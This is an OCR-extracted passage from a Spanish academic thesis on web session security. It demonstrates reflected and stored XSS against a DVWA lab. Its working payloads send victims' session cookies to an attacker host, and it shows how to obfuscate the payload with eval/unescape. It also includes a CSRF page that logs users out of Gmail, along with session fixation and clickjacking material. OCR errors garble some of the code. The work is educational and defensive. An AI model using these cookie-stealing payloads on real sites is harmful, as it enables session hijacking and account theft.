https://www.comprasonline.com/vulnerabilities/xss_r/?name=Ana%3Cscript  %3Enew+Image%28%29.src%3D%27http%3A%2F%2Fwww.myhosting.com%2Flogo%3D%27  %2BencodeURI%28document.cookie% 29%3C%2Fscript%3E#
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Darmn Wulnerable web App (Dv... | %

e Vulnerability: Reflected Cross Site Scripting (XSS)

Instructions

BruteFoce |

Command Execution

| [ submit |

Hello Ana

CSRF

File Inclusion More info
SQL Injection

SQL Injection (Blind)

Upload

XSS stored

Figura 4.27: Ataque XSS

Cuando el usuario visite la pagina manipulada, el script inyectado se conec-

ta al servidor del atacante informando la cookie de sesién del usuario. En

la imagen 4.28 se observa el requerimiento que llega al servidor del atacan-

te desde el usuario atacado. De esta manera, el atacante puede robar una
cookie de sesion valida sin importar si el sitio web utiliza comunicaciones
seguras (HTTPs) o inseguras (HTTP).

- 5¢Terminal =

Archivo Edicién Pestafias Ayuda

www . comprasonline.com # ncat -1 -k 809

GET /logo?1d=PHPSESSID=2rmdalq3civOgl8vpaoqo23ul2;%20security=1low HTTP/1.1
Host: www.myhosting.com

User-Agent: Mozillay5.0 (X11; U; Linux 1686; es-AR; rv:1.9.1.16) Gecko/20110815 Iceweasel/3.5.16 (like Firefox/3.5.18)
Accept: 1mage/png,image/*;q=0.8,%*/%;q=0.5

Accept-Language: es-ar,es;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip,deflate

Accept-Charset: IS0-8859-1,utf-8;9=0.7,%;9=0.7

Keep-Alive: 300

Connection: keep-alive

Pragma: no-cache

Cache-Control: no-cache

Figura 4.28: Robo cookie de sesién via XSS

Ofuscacion de ataque XSS reflejado
En el ataque anteriormente mostrado, se utilizé la siguiente URL:

https://www.comprasonline.com/vulnerabilities/xss_r/7name=Ana},3Cscripty
3Enew+Image’,28%29. src%3D%27http3A%2F/2Fwww . myhosting . com/2Flogo%
3D%27%2BencodeURI%28document . cookie,29%3C)/2Fscript’3E#

El usuario victima podria llegar a sospechar al observar en la URL recibida,
por ejemplo, otra URL dentro de ella. Para evitar este tipo de inconvenientes,


https://www.comprasonline.com/vulnerabilities/xss_r/?name=Ana%3Cscript%3Enew+Image%28%29.src%3D%27http%3A%2F%2Fwww.myhosting.com%2Flogo%3D%27%2BencodeURI%28document.cookie%29%3C%2Fscript%3E#
https://www.comprasonline.com/vulnerabilities/xss_r/?name=Ana%3Cscript%3Enew+Image%28%29.src%3D%27http%3A%2F%2Fwww.myhosting.com%2Flogo%3D%27%2BencodeURI%28document.cookie%29%3C%2Fscript%3E#
https://www.comprasonline.com/vulnerabilities/xss_r/?name=Ana%3Cscript%3Enew+Image%28%29.src%3D%27http%3A%2F%2Fwww.myhosting.com%2Flogo%3D%27%2BencodeURI%28document.cookie%29%3C%2Fscript%3E#
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existen técnicas que permiten ofuscar la URL utilizada en ataques de XSS
reflejado. Como resultado del proceso de ofuscacion, la URL resultante sera
maés grande de lo normal. Si bien esto puede llegar a convertirse en un indi-
cio de que algo anda mal, en la URL ofuscada, el usuario victima a simple
vista no podrd determinar la informacién que la URL recibida contiene.

Una forma de realizar la ofuscacién es utilizando alguna herramienta que
permita ofuscar cédigo JavaScript. Para ello se puede utilizar algan sitio
online que se utiliz6 para este ejemplo*’. El resultado obtenido con el proceso
de ofuscacidn, al cuél llamaremos CADENA_CODIFICADA, serd utilizado
de la siguiente manera para armar el cédigo JavaScript que se ejecutard en
el navegador de la victima:

<script>
eval (unescape (/CADENA_CODIFICADA/.source));
</script>

Como resultado del proceso de ofuscamiento, la URL anteriormente utiliza-
da tiene como equivalente, la siguiente URL ofuscada:

https://www.comprasonline.com/vulnerabilities/xss_r/7name=
Ana’3Cscripti3Eevaly,28unescape’,28%2F%256E%2565%2577%25207%
2549%256D%2561%2567%2565%2528%2529%252E,2573%2572%,2563,
253D%2527%2568%25747%2574%2570%253A%252F,262F,2577%,2577,
2577%252E%256D%2579%2568%256F %257 3%2574%,25669%,256E7,25677,
252E%25637,256F%256D%252F,256C%256F%25677,256F %253D%2527,
252B%,2565%256E%25637%,256F%2564,2565%2555%,2552%,2549%25287,
25647%256F7%2563%2575%256D%2565%256E%2574%,252E%,2563%,256F,
256F,256B7,2569%2565%25297,2F . source29%29%3B+%3C%2Fscript
3E#

4.5.1.2 XSS Almacenado

Una vulnerabilidad de tipo XSS almacenado es muy similar a una de tipo
XSS reflejado. En lugar de sugerir al usuario victima que visite una pagina,
el cédigo malicioso que se quiere ejecutar en el navegador de la victima se
aloja de manera persistente en el servidor web. Esto permite que cada vez
que un usuario visita la seccién donde reside el c6digo malicioso, el usuario
sea atacado.

En un sitio web con problemas de XSS almacenado, un atacante podria robar
la cookie de sesién a distintos usuarios del sitio. La vulnerabilidad radica
en que el c6digo malicioso ingresado se mezcla con el HTML de la pagina
visitada.

http://wuw.web-code.org/coding-tools/javascript-escape-unescape-converter-tool.
html
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Con el objeto de probar el riesgo posible frente a fallas de XSS almacenado se
utilizé el software DVWA. La seccién “XSS stored” de DVWA es vulnerable
a este tipo de fallas. Para realizar las pruebas se aloj6 al sitio vulnerable en

la URL http://www.comprasonline.com.

Evaluacion de falla de tipo XSS almacenado

Una aplicaciéon web tipica que puede ser vulnerable a fallas de tipo XSS
almacenado es una que permite a sus usuarios almacenar algtn tipo de in-
formacién que luego puede ser accedida por otros usuarios. Ejemplos de
este tipo de aplicaciones pueden ser: un sitio de compra y venta de produc-
tos online, una red social, una foro de consultas, etc.

En DVWA, para evaluar si el sitio es vulnerable a fallas de XSS almacenadas,
el usuario podria hacer una publicacién con la siguiente informacién:

Vendo camiseta usada por Maradona en la
final del 86 <script> alert(l); </script>

Luego de realizar dicha publicacién, si el sitio es vulnerable, al visitar la
publicacién nos vamos a topar con un pop-up que dice “1”. En la imagen
4.29 se observa el resultado de esta prueba en la seccién “XSS stored” del

sitio DVWA.

Figura 4.29: evaluacién XSS almacenado

Ataque via XSS almacenado

De un modo similar al observado con un ataque de XSS reflejado, un ata-
cante podra robar las cookies de sesiéon de otros usuarios realizando una
publicacién en un sitio vulnerable que provoque la curiosidad de los mis-
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mos. Ademas, el atacante deberd montar una infraestructura similar a la
empleada para el ataque de una vulnerabilidad de XSS reflejado: un servi-
dor web en el que se van a recibir las cookies de sesién robadas.

En el servidor web vulnerable, el atacante deberd realizar una publicacién
con el siguiente cédigo JavaScript que envia la cookie del usuario al servidor
del atacante:

Subasta camiseta de Maradona:
Es la que usé en la final del 86. Se la lleva el mejor postor!!!
<script>
new Image().src = ’*http://www.myhosting.com/logo?id=">
+ encodeURI (document.cookie);
</script>

Los usuarios serdn atacados en el momento que visitan la seccién del sitio
web que aloja dicho cédigo malicioso insertado por el atacante. Mientras
mads curiosidad genere la publicacién, mds tentador sera para un usuario

abrirla y por ende, mds victimas caerdn en la trampa.

4.5.2 Ataques a sesiones via fallas de Autenticacion y Manejo de Sesiones Defec-
tuoso

Este tipo de falla, conocida como “Broken authentication and Session Mana-
gement”, es la segunda maés critica en el Top 10 de OWASP. Se trata princi-
palmente de errores en el disefio del mecanismo de sesiones de la aplicacién
web.

Este tipo de errores se aprovechan del funcionamiento del mecanismo de
manejo de sesiones de las aplicaciones web. El riesgo que producen sobre
la aplicacién web es el compromiso de contrasefias, cookies de sesién e in-
cluso permitir a un atacante asumir la identidad de un usuario legitimo. En
funcién de cémo maneja una aplicacién web diferentes aspectos del manejo
de sesiones, se pueden dar lugar a distintos ataques.

4.5.2.1  Problemas de fijacién de sesiones

Una aplicacién web deberia ser la que propone la cookie de sesién a ser
utilizada por el cliente. Si no se pone ninguna restriccién sobre la cookie
de sesién que el cliente debe utilizar, entonces la aplicacién web se puede
atacar mediante este tipo de ataques.

Recordemos que un usuario autenticado, serd reconocido por una aplicacién
web por el valor de la cookie de sesién que se envie en los requerimientos
HTTP al servidor. Si el usuario cambia el valor de la cookie, el sistema
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deberia tratarlo como a un usuario nuevo puesto que para el nuevo valor de
cookie seleccionado, no habria ninguna identidad asociada.

En la situacién presentada, la aplicacion web, no sélo deberia tratar al usua-
rio como un usuario nuevo y exigirle que se autentique en el sistema nue-
vamente. Ademads deberia rechazar la cookie presentada por el usuario y
enviar una nueva cookie de sesién generada por la aplicacién web con el fin

de evitar ataques de fijaciéon de sesion.
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Figura 4.30: Inspeccién de cookies

En un sistema web como el de una biblioteca, el cual puede disponer de
computadoras de acceso publico para los usuarios, esta vulnerabilidad per-
mitirfa al atacante fijar un valor en la cookie de sesién con un valor facil
de recordar, por ejemplo la cadena “222”. Luego, el atacante, desde otra
computadora con la cookie de sesién configurada con el valor preestableci-
do, conseguiria acceso tan pronto como en la computadora de la biblioteca

alguien se autentique.

En la imagen 4.30 se puede observar el uso del plugin de firefox “Cookies
Manager+” para editar la cookie de sesién utilizada por la aplicacién y con-
figurarle un valor arbitrario. En la figura 4.31 se observar que la aplicacién
web autenticé al usuario admin, el cual estd siendo identificado por la apli-

cacion web con la cookie de sesién manipulada “222”.

Para que funcione este ataque, el mecanismo de manejo de sesiones de la
aplicacién web no deberia restringir el acceso en funcién de la direcciones
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Figura 4.31: Fijacién de sesiones

IP del usuario. Si bien esto es algo que tiene sentido hacerlo siempre, existen
muchas aplicaciones web (Facebook, Gmail) en las que se favorece la movi-
lidad del usuario no controlando este aspecto. En aplicaciones web en las
que se controla este aspecto, el uso de direcciones privadas o NAT?, puede
favorecer el ataque si la victima y el atacante utilizan la misma IP ptblica.

4.5.2.2  Problemas con la renovacion de las cookies

El problema de la fijacion de sesiones se podria agravar ain mads si luego
de que el usuario cierra sesidn, el sistema no renueva las cookies de sesién
utilizadas. En ese caso, el ataque de fijaciéon de sesiones seria eterno puesto
que la cookie que el sistema utilizé para asociar los requerimientos de un
usuario, luego de que este cierre su sesién se seguirfa utilizando. Posterior-
mente, cuando se autentique otro usuario, podemos confiar en que la misma

cookie se utilizard para asociar los requerimientos del mismo.

4.5.2.3 Atributos de segquridad para las cookies y contra medidas posibles

Con el objeto de mejorar la seguridad en el uso de las cookies, las mismas
tienen asociados atributos que inciden en la forma en la que son utilizadas.
Los atributos asociados a las cookies los establece la aplicacién web y el
navegador del usuario respeta. El uso de estos atributos no resuelve todos

2 NAT: Network Address Translation
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los problema de seguridad a los que estdn expuestas las cookies de sesién.
Estos atributos son una herramienta que ayuda a mejorar la seguridad de
las cookies de sesion. A pesar de ello, no siempre las aplicaciones web los
utilizan.

En la figura 4.31 se observan, ademds del nombre y el contenido de la co-
okie, otros campos asociados los cuales se corresponden con los diferentes
atributos que las cookies pueden tener. Para cada cookie de sesién se pue-
den configurar los siguientes atributos:

= Secure: Indica al navegador que la recibe que sélo use la cookie en
requerimientos realizados a través de un canal seguro, como es el caso
de HTTPs. Esto ayuda a que la cookie no pueda ser robada mediante
técnicas de sniffing.

= HttpOnly: Indica al navegador que la informacién de la cookie, no sea
accesible desde los lenguajes de scripting ejecutados por el navegador.
Esto ayuda a prevenir ataques de XSS.

= Domain: Indica al navegador el dominio dentro del cual se debe usar
la cookie. La cookie se utilizard en servidores del dominio o subdomi-
nios DNS. Un servidor de un dominio en particular, puede configurar
cookies para ese dominio. No se puede asignar cookies para dominios
TLD con el objeto de evitar la inyeccién de cookies en el navegador
para otros dominios de DNS. Si el atributo “Domain” no estd definido,
se utiliza el FQDN del servidor como el valor del atributo por defecto.

= Path: El atributo path se utiliza para que el navegador pueda restringir
el uso de la cookie en funcién del path utilizado en la URL del reque-
rimiento HTTP. En un servidor pueden haber dos aplicaciones web y
las cookies de una de las aplicaciones web ser independientes de la
otra.

= Expires: Este atributo es utilizado para indicar al navegador el tiempo
de validez de una cookies. Si este atributo no estd configurado, en-
tonces la cookie sélo serd vélida en la sesién actual y el navegador la
borraré al cerrarse.

En la imagen 4.32 se puede observar que en la respuesta del servidor, se en-
vian las cookies PHPSESSID y security. En la imagen se puede observar que
solamente se estableci6 el atributo path a la cookie de sesién llamada PHP-
SESSID. En la imagen 4.33 se observan los valores por defecto establecidos
en el navegador del usuario.

Problemas con el tiempo de validez de las cookies

Dependiendo la seguridad que una aplicacion web requiera, puede ser desea-
ble establecer el tiempo de validez de las cookies de sesién. Aplicaciones co-
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Stream Content

GET / HTTP/1.1

Host: www.comprasonline.com

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:32.0) Gecko/20100101 Firefox/32.8
IAccept: text/html,application/xhtml+xml,application/xml;g=0.9,*/%;q=0.8
IAccept-Language: en-US,en;g=0.5

IAccept-Encoding: gzip, deflate

Connection: keep-alive

HTTP/1.1 382 Found

Date: Thu, 19 Nov 2015 17:42:05 GMT

Server: Apache/2.2.22 (Ubuntu)

X-Powered-By: PHP/5.3.10-1lubuntu3.13

Set-Cookie: PHPSESSID=njtdobd3uf9idl4Boeq7jkllge; path=/

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Set-Cookie: security=low

Location: login.php

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Length: 20

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html

Figura 4.32: Cookie de sesién recibida

mo Gmail o Facebook, configuran cookies en el navegador del usuario con
periodos de validez de més de un afio.

En la aplicacién mostrada en la figura 4.32 no se establecen directivas sobre
el tiempo de validez de las cookies dadas al usuario. Debido a esto, el nave-
gador del usuario establece que las mismas seran vélidas hasta el final de la

sesion, lo cual en términos del navegador es hasta que se cierra el programa.

Es de destacar que una cookie que vence al término de la sesién, es borrada
por el navegador cuando el usuario deja de usarlo y finaliza el proceso.
Sin embargo, esto no invalida la cookie en el servidor. Si el usuario cerré
el navegador sin utilizar el botén para cerrar sesién de la aplicacién web,
la cookie seguira siendo valida por el tiempo que la aplicacién web haya
establecido.

Problemas con cookies HttpOnly en ataques XSS

Las cookies de sesion pueden ser protegidas de ataques de XSS mediante
la utilizacién del atributo HttpOnly. Este atributo es una indicacién al nave-
gador para que la cookie no pueda ser accedida desde el codigo JavaScript
de la pagina web cargada. Si bien esto dificulta un ataque de XSS, una va-
riacién del ataque seria posible si el servidor web acepta el método HTTP
TRACE.

TRACE es un método utilizado para realizar tareas de depuracién del proto-
colo HTTP. Cuando un servidor recibe un requerimiento HTTP que utiliza
el método TRACE, responde el requerimiento recibido originalmente. Dado
que en el requerimiento viaja la cookie de sesién del usuario, en la respues-
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Figura 4.33: Atributos de cookies recibidas en el navegador

ta al requerimiento TRACE realizado al mismo servidor se revelara dicha

cookie.

Como se menciond en el capitulo 3, este ataque es una variante del ataque
de XSS conocida como XST[60] o “Cross Site Tracing” y es una opcién valida
cuando el cédigo JavaScript no puede acceder a las cookies de sesién por

estar configuradas como HttpOnly.

4.5.3 Ataque a la integridad de las operaciones

Al ser HTTP un protocolo sin estados, como ya se ha mencionado, actual-
mente se utiliza un mecanismo de manejo de sesiones que utiliza tokens que
permiten a la aplicacién poder identificar los requerimientos de un usuario
de los de otro. Estos tokens se los llama cookies o cookies de sesién. Las co-
okies son utilizadas por los navegadores de manera automadtica. Si el usua-
rio visita un sitio web para el cual ya tenia una cookie valida, entonces el

requerimiento HTTP presentara al servidor dicha cookie.

Los siguientes ataques tratan que el usuario victima haga requerimientos
a una aplicacién web sin saberlo. El atacante se aprovecha del mecanismo
de manejo de sesiones puesto que los requerimientos inducidos al usuario
victima enviardn las cookies de sesién que el navegador pueda tener para

los sitios que visite.
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Ataques de CSRF - Falsificacion de Peticiones en Sitios Cruzados

Una aplicaciéon web es susceptible a ataques de CSRF si contiene URLs pre-
decibles. El riesgo va a depender de la accién que se realiza con la URL
predecible. Para atacar aplicaciones vulnerables a CSRE, es necesario que el
usuario victima visite las URLs predecibles. Para ello, un atacante podria
hacer una pagina web en la que alguna imagenes se extraigan de dichas
URLs. El ataque requiere de ingenieria social para que el usuario victima
ingrese a la pagina del atacante.

Para que este tipo de ataque funcione, el usuario victima debe estar auten-
ticado al momento del ataque. Para ello, puede estar usando la aplicacién
web o en caso contrario, tener una cookie de sesién. La aplicacién web al
recibir las peticiones HTTP provenientes del usuario victima, no tiene forma

de distinguir si el usuario las hizo a conciencia o no.

Un ejemplo de este tipo de problema estd presente en Gmail. La URL pa-
ra salir de la sesién es predecible. La URL vulnerable es: https://mail.
google.com/mail/?logout&hl=es y permitiria montar un ataque que cierre
la sesiéon de Gmail a un usuario victima.

Para implementar el ataque, el atacante podria armar una pagina web e
ingenidrselas para que un usuario la visite. En la imagen 4.34 podemos ver
el c6digo HTML de una pagina que desconecta de Gmail a los usuarios que
la visitan.

C | @ tuxhtml a

1| <html>
<body>

<p>(p><p>(p)

<script=new Image().src ="https://mail.google.com/mail/?logout&hl=es" </script>

<center>

<img src="https://encrypted-tbnl.gstatic.com/images?
g=tbn:ANd9GCcRI9wg2TPoTgbcf329pHopxTT j npKsuayGPmriNZer NjufxAQSGA "=

</center=

1 </body=>
1| </html>

Figura 4.34: HTML para CSRF a Gmail

En la imagen 4.35 se puede ver la pagina que ve el usuario atacado. En la
parte superior se ve la pagina cargada tal como el usuario la puede apreciar.
Sobre la parte inferior de la imagen, se muestran las peticiones realizadas
por el navegador web del usuario victima para poder cargar dicha pédgina.
En el listado de peticiones, se observan las correspondientes con el mecanis-
mo de cierre de sesién de Gmail.

La URL del ataque de XSS visto anteriormente también era predecible.
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' [ www.tux.orgftux.h! x _

4 & [ www.tux.org

Name M... 5. Type Initiator .. | .. Timeline - Start Time 1005 A

[ ] tuxchtml GET 200 document Other 1 |
| images?q=tbn:ANA9GCRIw... GET 200 jpeg tuxhtml? wor | e 1

[ | ?logoutihl=es GET 302 text/html tuxhtmls | [ ] |
[ | logout?hl=es-419 GET 302 text/html https://mailaoogle.com/mail/flogoutihl=es . . 11

| | Logout?service=mail&conti.. GET 302 text/html htpsy//mail google com/mail/logout?hl=es-413 . |
[ ] mail GET 302 text/html https://accounts.qoogle com/Logoutiservice=mail | ——

[ ServiceLogin?service=mail&... GET 200 text/html https://mailgoogle.com/mail -

Figura 4.35: CSRF Gmail

La URL del ataque de XSS podria haber sido incluida en una pédgina como
la mostrada en el ataque de CSRF. Se podria pensar en esta situacién como
una manera distinta de ocultar el ataque de XSS.

Clickjacking

Desde el punto de vista de la seguridad de la aplicacién web, el ataque de
CSREF se puede evitar haciendo a las URLs no predecibles. Esto implica que
en las mismas se tenga una componente aleatoria que provoque que la URL
que hace algo en una sesiéon de usuario, sea distinta de la URL que hace lo

mismo en otra sesidén de usuario.

Clickjacking es un problema en el que se aprovecha la posibilidad de que
cuando un usuario visita una pagina web, se puede cargar en un frame
invisible que no se muestra al usuario la pagina del sitio que se quiere atacar.
De este modo, cuando el usuario interacttia con la pagina que cree estar
visitando, también lo realiza con la pagina cargada en forma transparente

permitiendo al atacante guiar las acciones del usuario victima.

La figura 4.36 extraida de https://www.youtube.com/watch?v=W0f TFHCxXBY
es una demostracién de una vulnerabilidad de clickjacking en Google repor-
tada por Aditya Gupta, Subho Halder y Dev Karen. Lo que muestra la figura
se corresponde con la parte del video en el que el autor muestra con un nivel
de transparencia intermedio la pagina que simula ser un juego inofensivo y
el muro de Google+ del atacante. Al jugar, el atacante logra que la victima

realice sin darse cuenta, comentarios en su muro.
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| § Screens - Record T (20 Aditya Gupta - Googles + '\ I best game eves - adityagup. + | [5] Google.com vulnerabiity P {2

(- € @ localhost/goc

| @ lQlL‘ Test on Google Pius. f ths work, | rock ) Click Me
[=

clickjack htm

= ’
To get the result about how fast was your response press ctrl and "V™ together then click on end

Click twice on the button to win the game!

English  Spanis

Send feedback

Figura 4.36: Vulnerabilidad de Clickjacking en Google
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TRABAJOS RELACIONADOS

El mecanismo de manejo de sesiones actualmente utilizado por las aplicacio-
nes web se vale del intercambio de cookies entre el navegador y la aplicacién
web. El uso de cookies de sesién prendié distintas alarmas en la comunidad
de Internet respecto a posibles problemas de privacidad y seguridad. En
[66] y en [37] se reflejan distintos articulos en los que la prensa se hizo eco
de los problemas que trae el uso de las cookies para la privacidad de los

usuarios.

Desde el inicio del proceso de estandarizacion del mecanismo de manejo de
sesiones HTTP, la privacidad de los usuarios fue un tema de debate. David
Kristol, autor de los dos primeros documentos del estaindar que describe
el mecanismo de manejo de sesiones HTTP, comenta en [41] aspectos de
privacidad y acciones de distintos grupos que presionaron para sabotear la

confeccion del dicho estdndar.

Ademads de los problemas que representan las cookies para la privacidad
de los usuarios, las mismas pueden ser utilizadas para afectar la seguridad
de las aplicaciones web. Las fallas de seguridad que aprovechan el uso de
cookies pueden deberse al propio desarrollo de la aplicacién web como a
la configuracién del servidor. Entre los problemas de seguridad existentes,
ya sea por la manipulacién de las cookies como por el robo de las mismas,

podemos mencionar:
= Robo de sesién.
= Robo de identidad.
» Falsificacion de acciones sobre el sistema web.

» Pérdida de confidencialidad.
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5.1 INICIATIVAS PARA MEJORAR LA SEGURIDAD DE LAS APLICACIO-
NES WEB

Dentro de la comunidad de Internet existen distintas iniciativas que ayudan
a reducir los problemas de seguridad en las aplicaciones web. Estas inicia-
tivas, directa o indirectamente, ayudan a educar y concientizar usuarios,

desarrolladores y analistas de seguridad.

5.1.1  Organismos de estandarizacion

5.1.1.1 IETF

La IETF es el organismo de estandarizacién abierto que dio lugar a la mayo-
ria de los estandares hoy en dia utilizados. Como ya se menciond, en el afio
1997, en la RFC 2109: “HTTP State Management Mechanism” se estandarizé

el mecanismo originalmente creado por Netscape.

En el afio 2000 la RFC 2109 fue actualizada por la RFC 2965 en la que mayor-
mente se resolvieron problemas de compatibilidad operativos, mientras que
en el afio 2011 se publicé una nueva actualizacién del estdndar en la RFC
6265. En esta version, se le dio méas precision el atributo de cookie Secure
y se defini6 el atributo llamado HttpOnly. Con el atributo Secure se indicé
que el canal de comunicacién seguro al que se hace referencia, es uno tipo
HTTPs (HTTP sobre TLS). Con el atributo HttpOnly fue un avance para
evitar los problemas de XSS. Las cookies HttpOnly no deben ser accesibles
desde lenguajes de scripting, por lo que las mismas no pueden ser atacadas

con el mecanismo tradicional.

Por otro lado, en el afio 2012, en la RFC 6797: “HTTP Strict Transport Secu-
rity (HSTS)”[36] se estandarizé un mecanismo que ayuda a proteger a los
usuarios de aplicaciones web contra ataques de sniffing y SSL-Spoofing. Con
HSTS se encontré una manera de contrarrestar los ataques de SSL-Spoofing.
Sin embargo, en BlackHat 2014, Leonardo Nve Egea presento la herramienta
sslstrip+[49], la cual es una mejora a sslstrip que permite evadir las politicas
HSTS.

5112 W3C

W3C, viene de “World Wide Web Consortium”, es un consorcio que fue
fundado en 1994 para guiar la Web hacia su maximo potencial a través del
desarrollo de protocolos que promuevan su evolucién y aseguren su inter-

operabilidad. Entre los proyectos que lleva a cabo la W3C, en lo que a pri-
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vacidad se refiere en https://www.w3.org/standards/webdesign/privacy,
podemos mencionar:

= DNT “Do Not Track”[68] es el encabezado HTTP propuesto para que
el usuario pueda expresar su voluntad a no ser rastreado mientras
navega en Internet. Este encabezado fue originalmente propuesto en
2009 por los investigadores Christopher Soghoian, Sid Stamm, y Dan

Kaminsky. Actualmente la W3C impulsa su estandarizacién[74].

= P3P “Platform for Privacy Preferences Project”[73] es una especifica-
cién que permite a los sitios web expresar cudles son sus practicas
de privacidad en un formato estdindar de modo que pueda ser infor-
mada automdticamente a los navegadores de los usuarios que lo visi-
tan. El navegador del usuario puede comparar estas practicas con las
preferencias del usuario y automdticamente advertir cuando éstas no
coincidan.

5.1.2 Papers y publicaciones

Las vulnerabilidades tipo XSS o Cross Site Scripting, se mencionaron por
primera vez en el afio 2000 en[10]. Desde entonces y hasta el dia de hoy se
han escritos diversos papers[42][70] y articulos[3][33] que explican detalles
de uno de los problemas que mads perjudica el mecanismo de manejo de
sesiones de HTTP.

Ademas existen un gran ntiimero de conferencias de gran nivel internacio-
nal relacionadas con temas de seguridad informadtica entre los que estdn
distintos problemas de seguridad en aplicaciones web. Entre los eventos

mas reconocidos, se pueden mencionar:
= Blackhat Europa - http://www.blackhat.com/[11].
= Blackhat USA - http://www.blackhat.com/[12].

= Chaos Communication Congress (CCC) -
http://events.ccc.de/congress/[13].

= CONFldence - http://confidence.org.pl/en/[14].
= DEFCON - http://www.defcon.org/[15].
= Ekoparty Security Conference - https://www.ekoparty.org/[16].

» GuadalajaraCON - http://www.guadalajaracon.org[17].

» H2HC Hackers To Hackers Conference - https://www.h2hc.com.br/[18].

= RECON Conference - http://www.recon.cx/[19].
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= RootedCON - http://www.rootedcon.es/[20].
= RuxCon - http://www.ruxcon.org.au/[21].

= SECURECOMM - Conferencia Internacional sobre Seguridad y Priva-
cidad en Redes de Comunicacién - http://securecomm.org/[22].

= SHAKACON - http://shakacon.org/[23].
= ShmooCon - http://www.shmoocon.org/[24].

En [9], una publicacién de un proyecto de investigacién de la EISS' de la
Universidad de Karlsruhede, Johannes Bock enumera distintos ataques que
se pueden llevar a cabo contra el actual mecanismo de manejo de sesiones
web. En dicho trabajo se remarca que los ataques descriptos funcionan atin
cuando las aplicaciones web funcionan sobre HTTPs. El trabajo concluye
afirmando que:

- parte del problema es que HTTP es un protocolo sin estados, y que

- una solucién seria reemplazar HTTP por algo mdas adecuado segun las
necesidades.

Hoy en dia, mas de 10 afios después del primer reporte, segtin [67] las
vulnerabilidad de XSS siguen siendo una de las mas recurrentes.

5.1.3 OWASP

Uno de los aportes mds importante, en lo que a seguridad de aplicaciones
web se refiere, lo constituye el proyecto OWASP. OWASP viene de: “Open
Web Application Security Project”. La Fundacion OWASP[57] desde el 2001
concentra sus esfuerzos en concientizar y educar a la comunidad para mejo-
rar la seguridad de las aplicaciones web. Para ello ofrece a usuarios, admi-
nistradores, desarrolladores y analistas de seguridad de distintos recursos
entre los que podemos destacar:

= Hojas de referencia rdpida sobre distintos aspectos del desarrollo se-
guro de aplicaciones[50].

= Guia de desarrollo seguro de aplicaciones[53].

= Guia de testing de aplicaciones web[56] para la verificacién de la segu-
ridad de las distintas componentes de una aplicaciones.

» Guia de revisién de cédigo[52].

s Herramientas:

1 http://crypto.iti.kit.edu/index.php?id=eiss&L=2
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e Reglas para el firewall de aplicaciones web ModSecurity - Conjun-
to de reglas para deteccion y filtrado de distintos problemas de se-
guridad web. https://www.owasp.org/index.php/Category: OWASP_
ModSecurity_Core_Rule_Set_Project

e Herramientas de seguridad para testing de aplicaciones web:

> ZAP (Zed Attack Proxy) - https://www.owasp.org/index.
php/0OWASP_Zed_Attack_Proxy_Project
Es un proxy web que permite el testing de seguridad de apli-
caciones web. Provee la posibilidad de realizar tests automa-
tizados.

> OWASP Mantra - Security Framework - https://wuw.owasp.
org/index.php/0WASP_Mantra_-_Security_Framework
Mantra es un navegador especialmente disefiado para rea-
lizar tests de seguridad en aplicaciones web. Tiene diversos
complementos incorporados que permiten, modificar encabe-
zados, manipular entradas de usuario, reproducir peticiones
GET/POST, editar cookies, etc.

e Herramientas educativas para proveer un entorno controlado so-

bre el cual probar la explotacién de distintos problemas de segu-
ridad web:

> OWASP WebGoat Project - https://www.owasp.org/index.
php/Category: 0WASP_lWebGoat_Project
WebGoat es una aplicacion web deliberadamente insegura di-
seflada para ensefar distintas lecciones de seguridad en apli-
caciones web.

> OWASP Security Shepherd - https://www.owasp.org/index.
php/0OWASP_Security_Shepherd
Es un proyecto para entrenamiento en testing de seguridad
de aplicaciones web y aplicaciones méviles. Puede ser usa-
do en modo personal o configurado como una plataforma en
linea que permita la competencia entre distintos jugadores.

> OWASP Hacking Lab - https://www.owasp.org/index.php/
OWASP_Hacking_Lab
Es un proyecto que proporciona desafios de seguridad web y
enigmas en los cuales se puede participar libremente en for-
ma remota. A diferencia de otras iniciativas parecidas, cada
desafio solicita determinar la vulnerabilidad, la manera de
explotarla y su mitigacién.

s Informes de vulnerabilidades
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e Top Ten Project[58]:

Este informe retrata las 10 fallas de seguridad mads criticas para
una organizaciéon que pueden existen en las aplicaciones web. A1
la mas critica hasta A10 la menos critica dentro del informe.

En las primeras versiones de este informe la importancia de las
distintas vulnerabilidades se realizaba en base a la cantidad de
ocurrencias que cada una de estas tenfa. En las tltimas versio-
nes del informe, en sintonfa con estandares como ISO 27001, la
ponderacion de las vulnerabilidades se basa en el riesgo que las
mismas pueden tener para la organizacion.

El dltimo informe del Top Ten Project (2013), ubica en el primer
puesto a las vulnerabilidades de inyeccién entre las que estan las
inyecciones SQL. Las vulnerabilidades de este informe que se

aprovechan del mecanismo de manejo de sesiones web son:

> “Az Broken Authentication and Session Management”, son
vulnerabilidades que permiten el robo o la manipulacién de
cookies de sesién, como en el caso de ataques de tipo “ses-
sion fixation attacks”[55]. La cookie robada o inferida a través
de algtn tipo de manipulacién, puede ser usada para robar

sesiones a otros usuarios.

> “Aj3 Cross-Site Scripting” o XSS, son vulnerabilidades que
se utilizan para robar cookies de sesién. Incluso, cuando las
cookies de sesion estan protegidas con el atributo “HttpOnly”,
es posible robarlas a través de otro ataque conocido como
XST (Cross Site Tracing)[60]. XST puede ser considerado una
variante de XSS. El ataque XST es posible s6lo cuando el ser-

vidor HTTP responde al método Trace.

> “As Security Misconfiguration”. Se trata de cualquier confi-
guracién inadecuada que pueda ser utilizada para obtener
informacién que no deberia estar disponible u obtener al-
gun tipo de acceso que no se deberia tener. Revelar el tipo
y version de servidor web utilizado o tenerlo configurado de
modo que se respondan requerimientos HTTP que usen el
método Trace son consideradas fallas de este tipo.

> “A6 Sensitive Data Exposure”. Este tipo de vulnerabilidades
pueden permitir el robo de cookies de sesién, datos sensibles
e incluso usuarios y contrasefias. Por ejemplo, un sitio HTTP
que no utiliza SSL, o uno que si lo utiliza pero s6lo durante la
autenticacion del usuario (intercambio de usuario y contrase-
fia), pueden ser atacados simplemente mediante ataques de
sniffing ya que permiten exponer cookies de sesién de la apli-

cacién web.
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> “A8 Cross Site Request Forgery”. Se valen del mecanismo de
manejo de sesiones para poder manipular las acciones que un
